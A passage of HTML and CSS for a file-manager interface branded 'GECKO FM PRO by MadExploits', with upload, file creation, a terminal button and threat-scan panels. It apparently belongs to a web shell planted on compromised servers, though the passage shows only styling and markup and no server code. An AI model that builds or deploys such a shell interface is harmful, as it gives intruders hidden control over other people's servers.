  box-shadow: var(--s3);
  max-height: 360px; overflow-y: auto; z-index: 150;
  padding: 5px; display: none;
  animation: ctxPop .15s var(--spring);
}
.sr-list.open { display: block }
.sr-item {
  display: flex; align-items: center; gap: 11px;
  padding: 9px 11px; font-size: 12.5px;
  border-radius: var(--r8);
  cursor: pointer;
  transition: background-color .1s var(--ease);
}
.sr-item:hover { background: var(--jade-bg) }
.sr-path {
  font-size: 10.5px; color: var(--tx3);
  font-family: var(--mono);
  margin-left: auto; max-width: 50%;
  overflow: hidden; text-overflow: ellipsis; white-space: nowrap;
}

/* ─── DROPZONE ────────────────────────────────────────────────── */
.dropzone {
  border: 2px dashed var(--bd2);
  border-radius: var(--r16);
  padding: 50px 24px; text-align: center; color: var(--tx3);
  cursor: pointer;
  background:
    radial-gradient(ellipse 300px 200px at 50% 0%, rgba(245,185,66,.04), transparent 70%),
    var(--ink3);
  transition: border-color .15s var(--ease), background-color .15s var(--ease), transform .15s var(--ease-out);
}
.dropzone:hover {
  border-color: var(--jade-bd2);
  background: var(--jade-bg);
}
.dropzone.over {
  border-color: var(--jade);
  background: var(--jade-bg);
  transform: scale(1.005);
  box-shadow: 0 0 0 4px rgba(245,185,66,.06), inset 0 0 40px rgba(245,185,66,.05);
}
.dropzone svg { width: 44px; height: 44px; fill: var(--jade); opacity: .55; margin-bottom: 14px }
.dropzone:hover svg, .dropzone.over svg { opacity: 1 }
.dropzone strong { color: var(--jade) }

/* ─── UTILITIES ───────────────────────────────────────────────── */
.spin { animation: spin .7s linear infinite }
@keyframes spin { to { transform: rotate(360deg) } }
.empty-ico svg.spin, #loading svg.spin { animation: spin .85s linear infinite; transform-origin: center }
.hidden { display: none !important }

/* ─── HAMBURGER (mobile only) ─────────────────────────────────── */
.btn-burger {
  display: none;
  width: 38px; height: 38px;
  align-items: center; justify-content: center;
  border: 1px solid var(--bd2);
  background: var(--ink2);
  border-radius: var(--r8);
  cursor: pointer; flex-shrink: 0;
  color: var(--tx2);
  transition: background-color .15s var(--ease), border-color .15s var(--ease), color .15s var(--ease);
}
.btn-burger:hover {
  background: var(--ink3); color: var(--jade);
  border-color: var(--jade-bd);
}
.btn-burger svg { width: 18px; height: 18px; fill: currentColor }

/* ─── UI ENHANCEMENTS ─────────────────────────────────────────── */
.sb-section { margin-bottom: 2px }
.sb-section-toggle {
  display: flex; align-items: center; gap: 8px; width: 100%;
  padding: 8px 12px; border: none; background: transparent;
  color: var(--tx3); cursor: pointer; text-align: left;
  font-size: 9px; font-weight: 800; text-transform: uppercase; letter-spacing: .16em;
}
.sb-section-toggle:hover { color: var(--jade) }
.sb-section-toggle svg.chev {
  width: 10px; height: 10px; stroke: currentColor; fill: none; stroke-width: 2.5;
  margin-left: auto; transition: transform .2s var(--ease);
}
.sb-section.open .sb-section-toggle svg.chev { transform: rotate(180deg) }
.sb-section-body {
  overflow: hidden; max-height: 0; opacity: 0;
  transition: max-height .28s var(--ease), opacity .2s var(--ease);
}
.sb-section.open .sb-section-body { max-height: 1200px; opacity: 1 }
.sb-section-body .sidebar-top { padding-top: 0 }

.fbadge {
  display: inline-block; font-size: 9px; font-weight: 700; letter-spacing: .04em;
  padding: 1px 6px; border-radius: 4px; margin-left: 6px; vertical-align: middle;
  font-family: var(--mono); text-transform: uppercase;
}
.fbadge-hidden { background: rgba(121,192,255,.12); color: var(--blue); border: 1px solid rgba(121,192,255,.22) }
.fbadge-warn { background: var(--amber-bg); color: var(--amber); border: 1px solid rgba(212,150,31,.28) }
.fbadge-new { background: var(--jade-bg); color: var(--jade); border: 1px solid var(--jade-bd) }
.fbadge-env { background: var(--red-bg); color: var(--red); border: 1px solid var(--red-bd) }
.frow-recent { background: rgba(245,185,66,.04) }
.frow-recent::before { transform: scaleY(.5); opacity: .6 }

.bc-copy-btn {
  flex-shrink: 0; margin-left: 4px;
  padding: 4px 8px; font-size: 10px; border-radius: var(--r6);
  background: var(--ink3); border: 1px solid var(--bd2); color: var(--tx3);
  cursor: pointer; font-family: var(--mono);
  transition: all .12s var(--ease);
}
.bc-copy-btn:hover { border-color: var(--jade-bd); color: var(--jade) }
.bc-ellipsis { color: var(--tx4); padding: 0 4px; user-select: none; font-family: var(--mono) }

.panel-skeleton {
  padding: 24px 16px; display: flex; flex-direction: column; gap: 10px;
}
.sk-row {
  height: 44px; border-radius: var(--r8);
  background: linear-gradient(90deg, var(--ink2) 25%, var(--ink3) 50%, var(--ink2) 75%);
  background-size: 200% 100%; animation: skShimmer 1.2s infinite;
}
@keyframes skShimmer { to { background-position: -200% 0 } }

.sec-terminal.is-scanning .sec-terminal-bar { position: relative }
.sec-terminal.is-scanning .sec-terminal-bar::after {
  content: ''; position: absolute; left: 0; right: 0; bottom: 0; height: 2px;
  background: linear-gradient(90deg, transparent, var(--jade), transparent);
  animation: scanBar 1.4s ease-in-out infinite;
}
@keyframes scanBar { 0% { transform: translateX(-100%) } 100% { transform: translateX(100%) } }
.tool-output.loading { color: var(--jade); font-style: normal }

.blue-filter-bar {
  display: none; flex-wrap: wrap; gap: 6px; margin-top: 12px;
}
.blue-filter-bar.show { display: flex }
.blue-filter {
  font-size: 10px; font-weight: 700; padding: 4px 10px; border-radius: 999px;
  border: 1px solid var(--bd2); background: var(--ink2); color: var(--tx3);
  cursor: pointer; font-family: var(--mono); transition: all .12s;
}
.blue-filter:hover { border-color: var(--jade-bd); color: var(--tx2) }
.blue-filter.active { background: var(--blue-bg); border-color: rgba(121,192,255,.3); color: var(--blue) }
.blue-filter.active[data-sev="CRITICAL"] { background: var(--red-bg); border-color: var(--red-bd); color: var(--red) }
.blue-filter.active[data-sev="HIGH"] { background: var(--amber-bg); color: var(--amber) }
.blue-threat-hits-full {
  display: none; font-size: 10px; color: var(--tx4); margin-top: 6px; line-height: 1.5;
  word-break: break-all;
}
.blue-threat-item.expanded .blue-threat-hits-full { display: block }
.blue-threat-item .blue-q-one { flex-shrink: 0; margin-left: auto }

.bulk-summary {
  font-size: 11px; color: var(--tx3); margin-right: 4px; max-width: 140px;
  overflow: hidden; text-overflow: ellipsis; white-space: nowrap;
}

.st-path-copy { cursor: pointer; transition: color .12s }
.st-path-copy:hover { color: var(--jade) }

.ed-unsaved-dot {
  width: 8px; height: 8px; border-radius: 50%; background: var(--amber);
  display: none; box-shadow: 0 0 8px var(--amber);
}
.ed-unsaved-dot.show { display: inline-block }
.ed-area.wrap-mode #edText, .ed-area.wrap-mode #edHighlight { white-space: pre-wrap; word-wrap: break-word }

.theme-toggle.active { color: var(--blue); border-color: rgba(121,192,255,.3); background: var(--blue-bg) }
html.theme-blue {
  --jade: #79c0ff; --jade-hi: #a5d8ff; --jade-lo: #58a6ff; --jade-dk: #388bfd;
  --jade-bg: rgba(121,192,255,.10); --jade-bd: rgba(121,192,255,.24); --jade-bd2: rgba(121,192,255,.42);
}
html.theme-light {
  color-scheme: light;
  --ink0: #f7f6f3;
  --ink1: #ffffff;
  --ink2: #f1f0ec;
  --ink3: #e8e6e1;
  --ink4: #dcd9d3;
  --ink5: #c9c5bd;
  --ink6: #a8a29e;
  --ink-tint: rgba(180,134,11,.04);

  --jade:     #b45309;
  --jade-hi:  #d97706;
  --jade-lo:  #92400e;
  --jade-dk:  #78350f;
  --jade-bg:  rgba(180,83,9,.10);
  --jade-bd:  rgba(180,83,9,.28);
  --jade-bd2: rgba(180,83,9,.42);

  --tx:  #1c1917;
  --tx2: #44403c;
  --tx3: #78716c;
  --tx4: #a8a29e;

  --bd:   rgba(180,83,9,.18);
  --bd2:  rgba(28,25,23,.09);
  --bd3:  rgba(28,25,23,.05);

  --red:     #dc2626;
  --red-bg:  rgba(220,38,38,.08);
  --red-bd:  rgba(220,38,38,.22);
  --amber:   #b45309;
  --blue:    #2563eb;
  --blue-bg: rgba(37,99,235,.08);

  --s0:  0 1px 0 rgba(255,255,255,.95) inset, 0 1px 2px rgba(28,25,23,.06);
  --s1:  0 2px 6px rgba(28,25,23,.07), 0 1px 2px rgba(28,25,23,.04);
  --s2:  0 8px 28px rgba(28,25,23,.10);
  --s3:  0 20px 50px rgba(28,25,23,.14);
  --s-jade: 0 0 0 1px var(--jade-bd), 0 4px 14px rgba(180,83,9,.16);
  --s-jade-soft: 0 0 0 3px var(--jade-bg);
}
html.theme-light.theme-blue {
  --jade: #2563eb; --jade-hi: #3b82f6; --jade-lo: #1d4ed8; --jade-dk: #1e40af;
  --jade-bg: rgba(37,99,235,.10); --jade-bd: rgba(37,99,235,.26); --jade-bd2: rgba(37,99,235,.40);
}
html.theme-light .bg-mesh {
  background:
    radial-gradient(ellipse 880px 520px at 6% -8%, rgba(251,191,36,.12) 0%, transparent 58%),
    radial-gradient(ellipse 640px 420px at 100% 100%, rgba(180,83,9,.06) 0%, transparent 55%),
    linear-gradient(180deg, #fafaf9 0%, var(--ink0) 45%, #f3f2ef 100%);
}
html.theme-light .topbar,
html.theme-light .sidebar,
html.theme-light .statusbar,
html.theme-light .actionbar {
  box-shadow: none;
}
html.theme-light .topbar {
  background: linear-gradient(180deg, #fff, var(--ink1));
  border-bottom-color: var(--bd2);
}
html.theme-light .sidebar {
  background: linear-gradient(180deg, var(--ink1) 0%, var(--ink0) 100%);
}
html.theme-light .panel { background: var(--ink0) }
html.theme-light .tbl-head {
  background: linear-gradient(180deg, var(--ink1), var(--ink2));
  box-shadow: 0 1px 0 var(--bd2);
}
html.theme-light .frow:hover {
  background: rgba(180,83,9,.05);
}
html.theme-light .frow::after {
  background: linear-gradient(90deg, var(--jade-bg) 0%, transparent 60%);
}
html.theme-light .gcard {
  background: linear-gradient(180deg, var(--ink1), var(--ink2));
  box-shadow: var(--s0);
}
html.theme-light .gcard.sel {
  background: linear-gradient(180deg, var(--jade-bg), rgba(255,255,255,.9));
}
html.theme-light .sb-btn:hover {
  background: rgba(180,83,9,.07);
  border-color: var(--jade-bd);
}
html.theme-light .sb-ico {
  background: var(--ink2);
  border-color: var(--bd2);
}
html.theme-light .modal,
html.theme-light .ctx,
html.theme-light .toast,
html.theme-light .sr-list {
  box-shadow: var(--s3);
}
html.theme-light .btn-primary {
  color: #fffaf0;
  text-shadow: none;
  background: linear-gradient(180deg, var(--jade-hi), var(--jade));
}
html.theme-light .disk-box,
html.theme-light .drive-box {
  background: linear-gradient(180deg, var(--ink1), var(--ink2));
}
html.theme-light [data-icon="folder"] { --type-color: #b45309; --type-bd: rgba(180,83,9,.35) }
html.theme-light [data-icon="js"]     { --type-color: #ca8a04; --type-bd: rgba(202,138,4,.35) }
html.theme-light [data-icon="text"]   { --type-color: #57534e; --type-bd: rgba(87,83,78,.25) }
html.theme-light .btn-burger svg { stroke: var(--tx2) }

.skip-link {
  position: absolute; left: -9999px; top: 8px; z-index: 999;
  padding: 8px 14px; background: var(--ink3); border: 1px solid var(--jade-bd);
  border-radius: var(--r8); color: var(--jade); font-weight: 600; font-size: 12px;
}
.skip-link:focus { left: 12px; outline: 2px solid var(--jade) }

.sb-search-wrap {
  position: relative;
  padding: 10px 12px 4px;
  display: grid;
  grid-template-columns: 1fr;
  align-items: center;
}
.sb-search-wrap input {
  grid-area: 1 / 1;
  width: 100%; padding: 8px 10px 8px 32px; font-size: 12px;
  background: var(--ink2); border: 1px solid var(--bd2); border-radius: var(--r8);
  outline: none; color: var(--tx);
}
.sb-search-wrap input:focus { border-color: var(--jade-bd); box-shadow: var(--s-jade-soft) }
.sb-search-wrap .bi.search-ico,
.sb-search-wrap svg {
  grid-area: 1 / 1;
  justify-self: start;
  align-self: center;
  margin-left: 10px;
  z-index: 1;
  width: 13px; height: 13px;
  display: inline-flex; align-items: center; justify-content: center;
  font-size: 13px; line-height: 1;
  fill: var(--tx3); color: var(--tx3);
  pointer-events: none;
}
.sb-btn.sb-hidden { display: none !important }
.sb-fav-label {
  font-size: 9px; font-weight: 800; text-transform: uppercase; letter-spacing: .14em;
  color: var(--tx4); padding: 8px 11px 4px; display: none;
}
.sb-fav-label.show { display: block }
.sb-favorites { padding: 0 12px 4px }
.sb-favorites:empty { display: none }
.sb-resize {
  position: absolute; top: 0; right: -3px; width: 6px; bottom: 0;
  cursor: col-resize; z-index: 5;
}
.sidebar { position: relative }
.sidebar.resizing { user-select: none }
.sb-recent { padding: 8px 12px 10px; border-top: 1px solid var(--bd2) }
.sb-recent-label { font-size: 9px; font-weight: 700; text-transform: uppercase; letter-spacing: .12em; color: var(--tx4); margin-bottom: 6px }
.sb-recent-list { display: flex; flex-direction: column; gap: 2px; max-height: 120px; overflow-y: auto }
.sb-recent-item {
  display: block; width: 100%; text-align: left; padding: 5px 8px; font-size: 10.5px;
  font-family: var(--mono); color: var(--tx3); background: transparent; border: none;
  border-radius: 6px; cursor: pointer; overflow: hidden; text-overflow: ellipsis; white-space: nowrap;
}
.sb-recent-item:hover { background: var(--jade-bg); color: var(--jade) }

.file-filters {
  display: flex; flex-wrap: wrap; gap: 4px; flex-shrink: 0;
}
.file-filter {
  padding: 5px 10px; font-size: 11px; font-weight: 500; border-radius: var(--r6);
  border: 1px solid var(--bd2); background: var(--ink2); color: var(--tx3);
  cursor: pointer; transition: all .12s var(--ease);
}
.file-filter:hover { border-color: var(--jade-bd); color: var(--tx2) }
.file-filter.active { background: var(--jade-bg); border-color: var(--jade-bd); color: var(--jade) }

.main-body { flex: 1; display: flex; min-height: 0; overflow: hidden }
.panel-wrap { flex: 1; min-width: 0; display: flex; flex-direction: column; overflow: hidden; min-height: 0 }
.detail-pane {
  width: 280px; flex-shrink: 0; border-left: 1px solid var(--bd2);
  background: linear-gradient(180deg, var(--ink1), var(--ink0));
  display: none; flex-direction: column; overflow: hidden;
}
.detail-pane.open { display: flex }
.detail-head {
  padding: 12px 14px; border-bottom: 1px solid var(--bd2);
  font-size: 11px; font-weight: 700; text-transform: uppercase; letter-spacing: .1em; color: var(--tx4);
}
.detail-body { flex: 1; overflow-y: auto; padding: 14px }
.detail-preview {
  width: 100%; max-height: 140px; object-fit: contain; border-radius: var(--r8);
  background: var(--ink2); border: 1px solid var(--bd2); margin-bottom: 12px;
}
.detail-name { font-size: 14px; font-weight: 600; color: var(--tx); word-break: break-all; margin-bottom: 10px }
.detail-meta { font-size: 11.5px; color: var(--tx3); font-family: var(--mono); line-height: 1.7 }
.detail-meta dt { color: var(--tx4); font-size: 9px; text-transform: uppercase; letter-spacing: .08em; margin-top: 8px }
.detail-actions { display: flex; flex-wrap: wrap; gap: 6px; margin-top: 14px }

.grid-size-pills { display: flex; gap: 2px; margin-left: 4px }
.grid-size-pill {
  width: 26px; height: 26px; border: 1px solid var(--bd2); border-radius: var(--r6);
  background: var(--ink2); color: var(--tx3); font-size: 10px; font-weight: 700; cursor: pointer;
}
.grid-size-pill.active { background: var(--jade-bg); color: var(--jade); border-color: var(--jade-bd) }
html[data-grid-size="s"] .grid-wrap { grid-template-columns: repeat(auto-fill, minmax(108px, 1fr)); gap: 8px }
html[data-grid-size="l"] .grid-wrap { grid-template-columns: repeat(auto-fill, minmax(168px, 1fr)); gap: 14px }
html[data-grid-size="l"] .gcard .gthumb { width: 64px; height: 64px }
html[data-grid-size="l"] .gcard .ico-wrap { width: 64px; height: 64px }

.img-hover-preview {
  position: fixed; z-index: 250; pointer-events: none; display: none;
  max-width: 280px; max-height: 280px; border-radius: var(--r12);
  border: 1px solid var(--jade-bd); box-shadow: var(--s3);
  object-fit: contain; background: var(--ink2);
}
.img-hover-preview.show { display: block }

.upload-list { margin-top: 14px; display: flex; flex-direction: column; gap: 8px; max-height: 220px; overflow-y: auto }
.upload-list.hidden { display: none }
.upload-item { font-size: 11.5px; color: var(--tx2) }
.upload-item-name { overflow: hidden; text-overflow: ellipsis; white-space: nowrap; margin-bottom: 4px }
.upload-bar { height: 4px; background: var(--ink4); border-radius: 99px; overflow: hidden }
.upload-bar-fill { height: 100%; background: var(--jade); width: 0%; transition: width .2s var(--ease) }
.upload-item.done .upload-bar-fill { background: #7ee787 }
.upload-item.err .upload-bar-fill { background: var(--red) }

.modal-sub { color: var(--tx2); font-size: 13px; line-height: 1.5; margin-bottom: 12px }
.tool-head-ico { display: inline-flex; margin-right: 6px; vertical-align: middle }
.tool-head-ico .bi { display: inline-flex; }

.theme-toggle.accent-blue { color: var(--blue); border-color: rgba(121,192,255,.3); background: var(--blue-bg) }
.theme-light-btn.active { color: var(--amber); border-color: rgba(212,150,31,.35); background: var(--amber-bg) }

.st-sel { color: var(--jade) }
.st-sel:empty { display: none }

.ctx .ci.focus { background: var(--jade-bg); color: var(--tx); outline: 2px solid var(--jade); outline-offset: -2px }

.toasts[aria-live="polite"] { /* live region */ }

.kbd-grid { display: grid; grid-template-columns: 1fr 1fr; gap: 8px 16px; margin-top: 12px }
.kbd-row { display: flex; justify-content: space-between; gap: 12px; font-size: 12px; color: var(--tx2); padding: 6px 0; border-bottom: 1px solid var(--bd3) }
.kbd-row kbd {
  font-family: var(--mono); font-size: 10px; padding: 2px 6px;
  background: var(--ink3); border: 1px solid var(--bd2); border-radius: 4px; color: var(--jade);
}

.sr-item mark { background: var(--jade-bg); color: var(--jade-hi); border-radius: 2px; padding: 0 2px }
.empty-actions { display: flex; gap: 8px; justify-content: center; flex-wrap: wrap; margin-top: 8px }

.gcard .gthumb {
  width: 48px; height: 48px; margin: 0 auto 8px; border-radius: var(--r8);
  object-fit: cover; background: var(--ink3); display: none;
}
.gcard.has-thumb .gthumb { display: block }
.gcard.has-thumb .ico-wrap { display: none }

.topbar-btn {
  width: 36px; height: 36px; display: inline-flex; align-items: center; justify-content: center;
  border: 1px solid var(--bd2); border-radius: var(--r8); background: var(--ink2);
  color: var(--tx3); cursor: pointer; transition: all .12s;
}
.topbar-btn:hover { border-color: var(--jade-bd); color: var(--jade) }
.topbar-btn .bi { color: inherit; }

/* ─── SIDEBAR BACKDROP (mobile only) ─────────────────────────── */
.sb-backdrop {
  display: none;
  position: fixed; inset: 0;
  background: rgba(3,3,4,.6);
  z-index: 89;
  opacity: 0;
  transition: opacity .22s var(--ease);
}
.sb-backdrop.open { opacity: 1 }

/* ─── RESPONSIVE ──────────────────────────────────────────────── */
@media (max-width: 960px) {
  /* Sidebar → off-canvas drawer */
  .sidebar {
    position: fixed; top: 0; left: 0; bottom: 0;
    width: min(280px, 84vw);
    z-index: 90;
    transform: translateX(-100%);
    transition: transform .26s var(--ease-out);
    box-shadow: var(--s3);
    will-change: transform;
  }
  .sidebar.open { transform: translateX(0) }
  .sb-backdrop.show { display: block }

  /* Show hamburger */
  .btn-burger { display: inline-flex }

  /* Logo: hide text but keep icon */
  .logo {
    min-width: auto; padding-right: 0;
    border-right: none; margin-right: 0;
    gap: 0;
  }
  .logo-text { display: none }

  /* Compact table — hide non-essential columns */
  .tbl-head, .frow { grid-template-columns: 36px 1fr 100px 86px }
  .tbl-head > *:nth-child(n+5),
  .frow > *:nth-child(n+5) { display: none }
}

@media (max-width: 640px) {
  .topbar { padding: 0 12px; gap: 10px }
  .search-wrap { max-width: none }
  .kbd-hint { display: none }
  .topbar-right { gap: 6px }
  .btn-term span, .btn-term { padding-left: 10px; padding-right: 10px }
  .btn-term { font-size: 0; gap: 0; padding: 8px }
  .btn-term svg { width: 16px; height: 16px }

  /* Compact table — show only checkbox + name + size */
  .tbl-head, .frow { grid-template-columns: 36px 1fr 80px }
  .tbl-head > *:nth-child(n+4),
  .frow > *:nth-child(n+4) { display: none }

  /* Status bar simplified */
  .statusbar { gap: 12px; padding: 0 12px; font-size: 10.5px }
  #stClock, #stDisk { display: none }

  /* Action bar tighter */
  .actionbar { padding: 8px 12px; gap: 6px; flex-wrap: wrap }
  .file-filters .file-filter:nth-child(n+4):not([data-ff="hidden"]) { display: none }
  .breadcrumb { padding: 4px 6px; min-height: 36px }
  .bc-btn { padding: 3px 7px; font-size: 11.5px }

  /* Modals: full width with slight padding */
  .overlay { padding: 12px }
  .modal-head { padding: 12px 14px }
  .modal-body { padding: 14px }
  .modal-foot { padding: 11px 14px }
}

@media (max-width: 420px) {
  .topbar { padding: 0 8px }
  .search-wrap input { padding: 9px 12px 9px 34px }
  .view-pills { display: none }
  .btn-burger { width: 36px; height: 36px }
}
</style>
</head>
<body>
<a class="skip-link" href="#panel">Lompat ke daftar file</a>
<div class="bg-mesh" aria-hidden="true"></div>
<div class="shell">

<header class="topbar">
  <button class="btn-burger" id="btnBurger" aria-label="Toggle menu" aria-controls="sidebar" aria-expanded="false">
    <svg viewBox="0 0 24 24"><path d="M3 6.5A1.5 1.5 0 0 1 4.5 5h15a1.5 1.5 0 0 1 0 3h-15A1.5 1.5 0 0 1 3 6.5Zm0 5.5A1.5 1.5 0 0 1 4.5 10.5h15a1.5 1.5 0 0 1 0 3h-15A1.5 1.5 0 0 1 3 12Zm1.5 4A1.5 1.5 0 0 0 3 17.5 1.5 1.5 0 0 0 4.5 19h15a1.5 1.5 0 0 0 0-3h-15Z"/></svg>
  </button>

  <div class="logo">
    <div class="logo-icon" aria-hidden="true">
      <svg viewBox="0 0 24 24" stroke-width="2.6" stroke-linecap="round" stroke-linejoin="round">
        <path d="M5 8l4 4-4 4"/>
        <path d="M12 16h7"/>
      </svg>
    </div>
    <div class="logo-text">
      <div class="logo-name">GECKO FM <em>PRO</em></div>
      <div class="logo-sub">by <b>MadExploits</b></div>
    </div>
  </div>

  <div class="search-wrap">
    <i class="bi bi-search search-ico" aria-hidden="true"></i>
    <input type="search" id="searchInput" placeholder="Cari file…" autocomplete="off" aria-label="Cari file">
    <div class="kbd-hint"><kbd>Ctrl</kbd><kbd>K</kbd></div>
    <div class="sr-list" id="srList"></div>
  </div>

  <div class="topbar-right">
    <button class="topbar-btn theme-light-btn" id="btnThemeLight" title="Mode terang / gelap" aria-pressed="false"><svg viewBox="0 0 16 16"><path d="M8 11a3 3 0 1 1 0-6 3 3 0 0 1 0 6Zm0-10a.75.75 0 0 1 .75.75v1.5a.75.75 0 0 1-1.5 0V1.75A.75.75 0 0 1 8 1ZM3.05 3.05a.75.75 0 0 1 1.06 0l1.06 1.06a.75.75 0 1 1-1.06 1.06L3.05 4.11a.75.75 0 0 1 0-1.06Zm9.84 0a.75.75 0 0 1 0 1.06l-1.06 1.06a.75.75 0 1 1-1.06-1.06l1.06-1.06a.75.75 0 0 1 1.06 0ZM1.75 8a.75.75 0 0 1 .75-.75h1.5a.75.75 0 0 1 0 1.5H2.5A.75.75 0 0 1 1.75 8Zm11 0a.75.75 0 0 1 .75-.75h1.5a.75.75 0 0 1 0 1.5h-1.5A.75.75 0 0 1 12.75 8ZM4.11 11.89a.75.75 0 0 1 1.06 0l1.06 1.06a.75.75 0 1 1-1.06 1.06l-1.06-1.06a.75.75 0 0 1 0-1.06Zm7.78 0a.75.75 0 0 1 0 1.06l-1.06 1.06a.75.75 0 1 1-1.06-1.06l1.06-1.06a.75.75 0 0 1 1.06 0ZM8 13.25a.75.75 0 0 1 .75.75v1.5a.75.75 0 0 1-1.5 0v-1.5a.75.75 0 0 1 .75-.75Z"/></svg></button>
    <button class="topbar-btn theme-toggle" id="btnTheme" title="Aksen: Emas / Biru" aria-pressed="false"><svg viewBox="0 0 16 16"><path d="M8 1.5a1.5 1.5 0 0 0-3 0v.5A4.5 4.5 0 0 0 3.5 9h9A4.5 4.5 0 0 0 11 2V1.5a1.5 1.5 0 0 0-3 0v.5A1.5 1.5 0 0 0 8 1.5ZM2 10.25a.75.75 0 0 1 .75-.75h10.5a.75.75 0 0 1 0 1.5H2.75a.75.75 0 0 1-.75-.75Z"/></svg></button>
    <button class="topbar-btn" id="btnRefresh" title="Refresh (F5)"><svg viewBox="0 0 16 16"><path d="M1.705 8.005a.75.75 0 0 1 .834.656 5.5 5.5 0 0 0 9.592 2.745l-1.067-1.067A.25.25 0 0 1 11.5 10.25H16v4.5a.25.25 0 0 1-.427.177l-1.068-1.068a7.002 7.002 0 0 1-11.772-3.603.75.75 0 0 1 .672-.751ZM.75 8.005a.75.75 0 0 1 1.072-.696 7.002 7.002 0 0 1 11.772 3.603.75.75 0 0 1-.672.751 5.502 5.502 0 0 0-9.592-2.745L3.545 11.64A.25.25 0 0 1 3.118 12H0V7.5a.25.25 0 0 1 .427-.177l1.068 1.068A6.999 6.999 0 0 1 .75 8.005Z"/></svg></button>
    <button class="topbar-btn" id="btnHelp" title="Keyboard shortcuts (?)"><svg viewBox="0 0 16 16"><path d="M0 8a8 8 0 1 1 16 0A8 8 0 0 1 0 8Zm8-6.5A6.5 6.5 0 0 0 1.5 8 6.5 6.5 0 1 0 8 1.5ZM6.25 5.25c0-.966.784-1.75 1.75-1.75.966 0 1.75.784 1.75 1.75 0 .575-.279 1.087-.712 1.407-.42.31-.863.647-.863 1.218v.625a.75.75 0 0 1-1.5 0v-.625c0-1.075.784-1.588 1.257-1.938.233-.172.318-.285.318-.462Zm-.937 4.938a.75.75 0 1 1 1.5 0 .75.75 0 0 1-1.5 0Z"/></svg></button>
    <div class="view-pills">
      <button class="view-pill" id="btnList" title="List view">
        <svg viewBox="0 0 16 16"><path d="M2 2.75A.75.75 0 0 1 2.75 2h10.5a.75.75 0 0 1 0 1.5H2.75A.75.75 0 0 1 2 2.75Zm0 5A.75.75 0 0 1 2.75 7h10.5a.75.75 0 0 1 0 1.5H2.75A.75.75 0 0 1 2 7.75ZM2.75 12h10.5a.75.75 0 0 1 0 1.5H2.75a.75.75 0 0 1 0-1.5Z"/></svg>
      </button>
      <button class="view-pill" id="btnGrid" title="Tampilan grid">
        <svg viewBox="0 0 16 16"><path d="M1 2.75A1.75 1.75 0 0 1 2.75 1h2.5A1.75 1.75 0 0 1 7 2.75v2.5A1.75 1.75 0 0 1 5.25 7h-2.5A1.75 1.75 0 0 1 1 5.25Zm8.75-1.75A1.75 1.75 0 0 0 8 2.75v2.5A1.75 1.75 0 0 0 9.75 7h2.5A1.75 1.75 0 0 0 14 5.25v-2.5A1.75 1.75 0 0 0 12.25 1ZM1 9.75A1.75 1.75 0 0 1 2.75 8h2.5A1.75 1.75 0 0 1 7 9.75v2.5A1.75 1.75 0 0 1 5.25 14h-2.5A1.75 1.75 0 0 1 1 12.25Zm8.75-1.75A1.75 1.75 0 0 0 8 9.75v2.5A1.75 1.75 0 0 0 9.75 14h2.5A1.75 1.75 0 0 0 14 12.25v-2.5A1.75 1.75 0 0 0 12.25 8Z"/></svg>
      </button>
    </div>
    <div class="grid-size-pills" id="gridSizePills" title="Ukuran ikon grid">
      <button type="button" class="grid-size-pill" data-gs="s" title="Kecil">S</button>
      <button type="button" class="grid-size-pill active" data-gs="m" title="Sedang">M</button>
      <button type="button" class="grid-size-pill" data-gs="l" title="Besar">L</button>
    </div>
    <button class="btn btn-ghost btn-icon" id="btnLogout" title="Logout">
      <svg viewBox="0 0 16 16"><path d="M2 2.75A.75.75 0 0 1 2.75 2h5.5a.75.75 0 0 1 0 1.5h-5.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h5.5a.75.75 0 0 1 0 1.5h-5.5A1.75 1.75 0 0 1 .5 12.75v-8.5C.5 3.233 1.233 2.5 2.75 2.5Zm9.22 3.47a.75.75 0 0 1 1.06 0l2.25 2.25a.75.75 0 0 1 0 1.06l-2.25 2.25a.75.75 0 1 1-1.06-1.06l.97-.97H6.75a.75.75 0 0 1 0-1.5h6.44l-.97-.97a.75.75 0 0 1 0-1.06Z"/></svg>
    </button>
    <button class="btn btn-term" id="btnTerm">
      <svg viewBox="0 0 16 16"><path d="M0 2.75C0 1.784.784 1 1.75 1h12.5c.966 0 1.75.784 1.75 1.75v10.5A1.75 1.75 0 0 1 14.25 15H1.75A1.75 1.75 0 0 1 0 13.25Zm1.75-.25a.25.25 0 0 0-.25.25v10.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V2.75a.25.25 0 0 0-.25-.25ZM7.25 8.5l-2.5 2.5a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L5.94 8 3.215 5.059A.749.749 0 0 1 4.49 4.49L7.25 7.25v1.25Zm1.5 1.5h3a.75.75 0 0 1 0 1.5h-3a.75.75 0 0 1 0-1.5Z"/></svg>
      Terminal
    </button>
  </div>
</header>

<div class="body">

  <div class="sb-backdrop" id="sbBackdrop" aria-hidden="true"></div>

  <aside class="sidebar" id="sidebar">
   <div class="sb-resize" id="sbResize" aria-hidden="true"></div>
   <div class="sb-scroll">
    <div class="sb-search-wrap">
      <i class="bi bi-search search-ico" aria-hidden="true"></i>
      <input type="search" id="sbMenuSearch" placeholder="Filter menu…" autocomplete="off" aria-label="Filter menu sidebar">
    </div>
    <div class="sb-fav-label" id="sbFavLabel">Favorit</div>
    <div class="sb-favorites" id="sbFavorites"></div>
    <div class="sidebar-top">
      <div class="sidebar-label">
        <i class="bi bi-plus-lg" aria-hidden="true"></i>
        Files
      </div>
      <button class="sb-btn" id="sbNewFile">
        <span class="sb-ico"><svg viewBox="0 0 24 24"><path d="M14 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V8z"/><path d="M14 2v6h6"/><path d="M12 18v-6M9 15h6"/></svg></span>
        New File
        <span class="sb-arrow">›</span>
      </button>
      <button class="sb-btn" id="sbNewFolder">
        <span class="sb-ico"><svg viewBox="0 0 24 24"><path d="M3 5a2 2 0 0 1 2-2h4l2 3h7a2 2 0 0 1 2 2v9a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2z"/><path d="M12 12v4M10 14h4"/></svg></span>
        New Folder
        <span class="sb-arrow">›</span>
      </button>
      <button class="sb-btn" id="sbUpload">
        <span class="sb-ico"><svg viewBox="0 0 24 24"><path d="M21 15v4a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2v-4"/><path d="M17 8l-5-5-5 5"/><path d="M12 3v12"/></svg></span>
        Upload Files
        <span class="sb-arrow">›</span>
